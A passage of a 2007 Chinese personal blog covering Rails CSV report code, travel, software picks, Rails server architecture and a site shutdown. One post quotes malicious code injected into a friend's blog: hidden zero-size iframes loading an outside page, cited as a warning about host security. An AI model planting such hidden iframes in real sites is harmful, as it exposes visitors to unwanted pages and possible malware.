csv <<  fields.map {|f| row[f] }

end

end

其中 csv << 代表塞入一次塞一行,如果還沒做好之前,先用一個 Array 來暫存。最後在用csv << temp_array 來塞入比較好。

如果寄 Email 報表我就直接用How to email reports from Rails 的範例。

 

class Notifier < ActionMailer::Base

def sales_for_yesterday

  require ‘FasterCSV’

  @from = ’someone@example.com

  @recipients = ’someone@example.com

  @sent_on = Time.now

  @yesterday = 1.day.ago

  @body = { :yesterday => @yesterday }

  @subject = “Sales Report”

  attachment :content_type => “text/csv”, :filename => “sales_#{@yesterday.to_date}.csv” do |a|

    a.body = FasterCSV.generate do |csv|

      csv < < (fields = [“artist”, “product”, “variant”, “unit price”, “qty sold”, “total”]).map {|f| f.titleize }

      Report.sales_for_date(@yesterday).each do |row|

        csv << fields.map {|f| row[f] }

      end

    end

  end

end

end

其中這段是代表附帶一份檔案,並且 a.body assign 給剛剛產生的 CSV Object 即可

 

attachment :content_type => “text/csv”, :filename => “file_name.csv” do |a|

    a.body = FasterCSV.generate do |csv|

# 填入剛剛的 code 即可

    end

end

 

至於中間,就填入剛剛寫的跟 Active Record 連結的 code 即可。

至於要每天寄一份 Email 報表,請用 Crontab + Rails 裡面的 Runner 即可。


Link to Faster CSV:做報表的好幫手


标签:

posted by Caiwangqin, 上午3:44 | Permalink

GoogleMap Mushup With UUZone Gallery

2007年1月16日 星期二

今天下午,Yuandahua 打电话问我有没有地图相关的产品,他需要一个演示。于是我告诉他我们使用 Ruby on Rails 实现的一个 GoogleMap 查看相册,我在2006年中文网志年会Mush up, or Shut up! panel 上也介绍过这个功能。如今我不知道这个凝聚了我们心血的Web Design,还能在网上呈现多长时间,特地记录下来。




标签:

posted by Caiwangqin, 上午10:20 | Permalink

新型病毒推广方式

昨天hidecloud在GTalk上询问我说,他的blog在访问时会弹出很多页面,在浏览器中查看源文件发现在头部有如下一段代码:


<iframe src=http://aaahr.com/Count/count.htm width=0 height=0></iframe><iframe src=http://aaahr.com/Count/count.htm width=0 height=0></iframe>



但下载他所使用的程序(PJBlog)的源代码却没有搜索到这段代码。我判断可能是他所在服务器感染了病毒。


hidecloud说那个弹出页面里全是一些广告之类的,这是一种新型的推广方式啊。提醒 Blogger 在选择虚拟主机的时候要考虑安全因素。


标签:

posted by Caiwangqin, 上午5:18 | Permalink

V2EX.com

2007年1月15日 星期一

刚刚得到消息,得知V2EX三天前被迫下线了。原因是:


服务器所在的机房接到“上级主管部门”的通知,因为“莫须有”的原因,拔掉了我服务器上的网线。



Livid正在努力恢复那台服务器上受到影响的服务:


中国政府目前的很多做法是在向国民制造恐怖,而我认为对我而言最正确的事情是去制造希望。



对“有关部门”这种简单粗暴的“执法”感到失望和愤怒,我只有这一句话的评论。其他评论请看Zola写的:“不谈政治”是一种政治态度


标签:

posted by Caiwangqin, 上午8:03 | Permalink

开源网页设计模板


以下是几个提供免费网页设计模板的站点:


Open Designs


Open Source Web Design


Open Web Design


标签:

posted by Caiwangqin, 上午6:58 | Permalink

HAPPY NEW YEAR! 2007.

2007年1月14日 星期日


合肥真是我的福地,前天晚上吃过了肥西老母鸡,这两天果然感冒情况有所好转。我将在今天下午回南京。


这次考试总体上还算顺利,只是“营销学原理”可能不能通过。出题老师不厚道,我理解的也不透彻,不过这是我喜欢的科目,如果给我一次重考的机会,我想我会认真学习这门课程,如果通过了,我想我就没有再学的动机。工作过后了再学习,只能是以考促学了。


这个月一直忙来忙去,甚至忘记了给朋友们说新年快乐,趁一月还没过完,借我昨晚拍摄的一张照片,向所有读我blog的朋友说声:HAPPY NEW YEAR! 2007.


标签:

posted by Caiwangqin, 上午12:50 | Permalink

肥西老母鸡

2007年1月12日 星期五







肥西老母鸡, originally uploaded by caiwangqin.


今晚终于吃上了肥西老母鸡,番茄说感冒了喝老母鸡汤就会好,我明天感冒应该就会好了吧。


鸡汤味道还行,很大的餐厅只有少数几个人就餐,但正在这样的环境让人觉得不那么吵闹,餐厅里播放的音乐也很好听。在合肥会让我感觉到地球转动的速度变慢了不少,其实世界还是这个世界,周围的环境变了,于是心境也变了。


标签:

posted by Caiwangqin, 下午3:21 | Permalink

今年想读的书

2007年1月10日 星期三



book, originally uploaded by caiwangqin.


燕子给我整理了一份企业管理的书单,一共58本书,决定在2007年读完。


标签:

posted by Caiwangqin, 上午9:49 | Permalink

Interview with Eric Sun in beijing

Eric Sun is one of few ruby on rails guy in beijing, i have met him at hangzhou with the second china blogger conference last year. we have most topic with ruby on rails, for our love.


he want go to USA for ruby on rails work. Jobs.Rubynow.com is the Ruby / Rails job site for Rails development, maybe you can found your position on this site.


ruby on rails is great programming language, a programmer just do the high level, foucs on the business modle and UI for web application. we are working with rails and enjoy ourself.


标签:

posted by Caiwangqin, 上午3:08 | Permalink

have a party in beijing


昨晚(2007.1.8)在北京西单77购物街,负一层的豆花山庄举行了一个聚会。一群在网上认识了三年的北京同学,虽然第一次见面但都相见如故。他们都来自友爱论坛


标签:

posted by Caiwangqin, 上午2:45 | Permalink

one night in beijing

2007年1月9日 星期二


又向北走了一千公里的行程


从南京到了北京


匆匆的经过中关村


钦茶万寿寺


从西坝河到东直门


转乘三次地铁来到通州北苑


一个下午踏遍了半个北京城


北京的夜很宁静,比深圳广州,显得更有文化品味,可能是气候环境和人文环境的原因吧。拉开窗帘,窗外一抹黎明很美丽。昨晚睡得很好,虽然是第一次到北京,但受到朋友亲切的接待。寒冷的北京,因有了这一群朋友而无限温暖。感谢Weblog, 让我和这些第一次见面的朋友有了相识已久的感觉,让我们能够在这个大世界里,因为志趣相投而找到了一个志愿投身其中的 small world.


人类在创造计算机操作系统的时候发明了复制和粘贴命令,微软把它简化成了Ctrl+C和Ctrl+V. 于是它成了许多人使用Windows时最简单,而最有用的命令。这个法则,在这个扁平化的世界里,似乎也很有用。于是C2C又有了一个新的解释是Copy to China.


标签:

posted by Caiwangqin, 上午7:50 | Permalink

Hello Beijing

2007年1月7日 星期日

第一次踏进北京的土地,北京阳光灿烂,不象想象中的那样冷。


标签:

posted by Caiwangqin, 上午8:21 | Permalink

北京之行

2007年1月5日 星期五

星期天(2007.1.7)需要去一次北京,已经通过携程订好了往返机票,有了上一次的经验,这次决定尝试一下网上订票,整个过程挺顺利的,没想到的是携程居然还不能通过网上支付(选项是灰色的)。第一次去北京,期待旅途顺利。


标签:

posted by Caiwangqin, 上午7:42 | Permalink

2006 年使用频率比较高的几款软件


DBA notes写了这篇Blog, 与我有几点相同之处,于是也回顾一下我使用的软件。


GreatNews –RSS 阅读工具


相比去年来说,今年使用 GreatNews 的时间甚至超过 IE 浏览器。个人的阅读习惯上也发生了变化,现在更多是通过 RSS 获取信息。虽然有很多在线 RSS 阅读工具,如 Bloglines 以及国内做的很棒的抓虾,我个人还是比较喜欢 GreatNews 这种客户端工具可以即时刷新的特性。从去年的”比较抵触桌面端的 RSS 阅读工具”到现在离不开 GreatNews , 这个变化蛮大。

Total Commander — Windows 资源管理器工具


工作中必备的工具。极大了方便了Windows文件管理的工作。

SecureCRT–远程终端工具


虽然开源工具 PuTTY 很棒,但是 SecureCRT 仍然有不可替代性。或许很多事情用 PuTTY 也可以做到,但是效率就未必有那么好了。

Firefox 2 –浏览器(插件)


我本来对 Firefox 不是特别喜欢,不过功能丰富的插件实在是让人割舍不下。像 del.icio.us 这样每天都用的网络服务,如果没有Firefox 的插件,肯定会有一些不便利。


GTalk, MSN, TM, SKYPE — IM 工具


随计算机启动的几个IM工具。


RadRails — Ruby on Rails IDE


Windows平台下最好的Ruby on Rails开发工具。


Babylon — 翻译工具


非常好的翻译工具,用了很多年。



Link to 2006 年使用频率比较高的几款软件


标签:

posted by Caiwangqin, 上午1:56 | Permalink

Ruby on Rails 伺服器架設原理

2007年1月4日 星期四

这篇文章转自thegiiveRuby on Rails 伺服器架設原理,对RoR使用者很有用,特此记录分享。

一般來說,Ruby on Rails 架設原理很簡單,分成三個部份。


  1. Frontend Server
  2. Application Server
  3. Database Server


每個部份都有自己的功用。


Frontend Server 負責將所有 HTTP Request forward 給後端的 Application Server,也就是他是作類似 Reverse proxy 的工作。一般來說,Apache 2.2 跑 mod_reverse_proxy 是最常出現的選擇,nginx 也是不錯的選擇。Lighty 1.5 之後跑 mod_proxy_core 也很方便,等到 1.5 release 之後我會作詳細的評估。
Application Server 負責跑 Ruby on Rails 程式,你寫好的程式就在上面跑。一般來說可以用 Webricks,Fastcgi,scgi,Mongrel 等等 Ruby on Rails Runner來跑。Webricks 太慢,Fastcgi 有穩定性,以及不好設定的疑慮。SCGI 太年輕。目前最穩,最好用,而且已經被驗證過的 Application Server 就是 Mongrel。


Database Server 就是處理資料處理的工作。可以跑 SQLite,MySQL 之類的 RDBMS 。甚至使用 File 來當資料處理,或是使用 NFS 也未嘗不可。不過這裡通常大家都是使用一般大廠的 RDBMS資料庫。


組合方式


Apache 2.2 + Mongrel:穩定,高彈性的組合

Apache 2.2 遇到 user request 用 HTTP 分配給 Mongrel ,然後 Mongrel 去跑。這個組合的好處是每個 Application Server node 都可以很輕易的拆成不同台機器,並且很好管理。Apache 的穩定又是出名的。雖然不見得最快,但是方便 scale 以及穩定是他最好的優點。目前所有組合當中最穩定的方式,很多流量最大的 Ruby on Rails 站台也都是使用這個方式。適合在已經有一定規模的網站。設定方式在此我有介紹


Lighttpd + Fastcgi:單機最佳選擇
Lighttpd 1.4 跑 PHP 或是跑 Ruby on Rails 都是這樣跑。Lighttpd 為 Frontend Server ,他接到 request ,經由 unix socket 送給身為 Application Server 的 Fastcgi ,Fastcgi 再執行 Ruby on Rails 程式。通常這個方式是 Frontend Server 跟 Application Server 跑在同一個機器上面的,當然每個 Fastcgi 也可以跑在 TCP Mode ,然後 Fastcgi 放在不同機器上面,不過設定不易不常使用這個方式。這個組合的好處是執行效率非常快速,如果 Frontend 跟 Application 放在同一台機器上,Lighty 這個組合遠比 Apache 的組合來得輕快許多。但是缺點是多台機器設定複雜,不易擴展到多台機器上,Fastcgi 又有在高負載下罷工的負面報導。相反的,單台機器上面 Fastcgi 設定管理簡單,速度又飛快,非常適合小網站剛剛起步時,機器不足,流量不大的需求。設定方式在此我有介紹


Nginx or Lighttpd 1.5 + Mongrel:未來的新選擇


類似Apache 的組合,但是 nginx 或是 Lighttpd 1.5 都有一個優點,不像 Apache 2.2 那麼肥。反正這個 Frontend 只要作 reverse proxy 的工作,其實不需要 Apache 那麼大的 Server 來作。好處是 Frontend Server 比較快速。壞處是 nginx 這個俄國來的 Server 大家不熟悉,doc 又很少(俄文是很多啦)。Lighttpd 1.5 又只在 pre-release 階段,穩定程度還是得花點時間。不過如果扣掉 Frontend 的 X factor,這個組合兼具輕快跟方便 Scale ,可說是最好的組合。lighty 1.5設定方式在此我有介紹。nginx 的設定檔這裡有範例,可以參考。






Link to Ruby on Rails 伺服器架設原理


标签:

posted by Caiwangqin, 上午6:00 | Permalink

起航2007

2007年1月1日 星期一











Caiwangqin 林子




caiwangqin上传于Yupoo





我们选择了到星巴克讨论问题,选择沉静,思考,激情的跨入2007.


第一次收到了妹妹发来的短信,很开心的看到了妹妹思想的成熟:“哥,元旦快乐!新的一年新开始!高三是一个很能磨练人的阶段,我明白你牵挂我的学习,今年高考成绩出来我第一个告诉你,但是奋斗的过程就让我一个人受用吧。好像快要下雪了,注意保暖。小妹。”


我开始明白妹妹不再是我之前印象中的小女孩,是一个有思想,有追求的高三学生了。


标签:

posted by Caiwangqin, 上午8:22 | Permalink